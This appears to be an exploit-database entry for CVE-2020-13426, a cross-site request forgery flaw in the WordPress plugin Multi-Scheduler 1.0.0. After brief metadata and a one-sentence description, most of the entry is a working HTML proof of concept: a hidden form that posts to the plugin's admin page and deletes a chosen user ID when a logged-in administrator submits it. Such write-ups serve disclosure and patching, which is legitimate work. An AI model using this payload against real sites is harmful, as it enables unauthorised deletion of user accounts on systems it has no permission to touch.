# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User) # Google Dork: N/A # Date: 2020-05-21 # Author Homepage: https://infayer.com/ # Exploit Author: UnD3sc0n0c1d0 # Vendor Homepage: https://www.bdtask.com/ # Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip # Category: Web Application # Version: 1.0.0 # Tested on: CentOS 7 / WordPress 5.4.1 # CVE : CVE-2020-13426 # 1. Technical Description: The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability in the forms it presents, allowing the possibility of deleting records (users) when an ID is known. # 2. Proof of Concept (PoC): <html> <form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional"> <input type="hidden" value="[ID]" name="pro_delete_id"><br> <input type="hidden" value="Delete" name="professional_delete"> <input type="submit" value="Delete user"> </form> </html>
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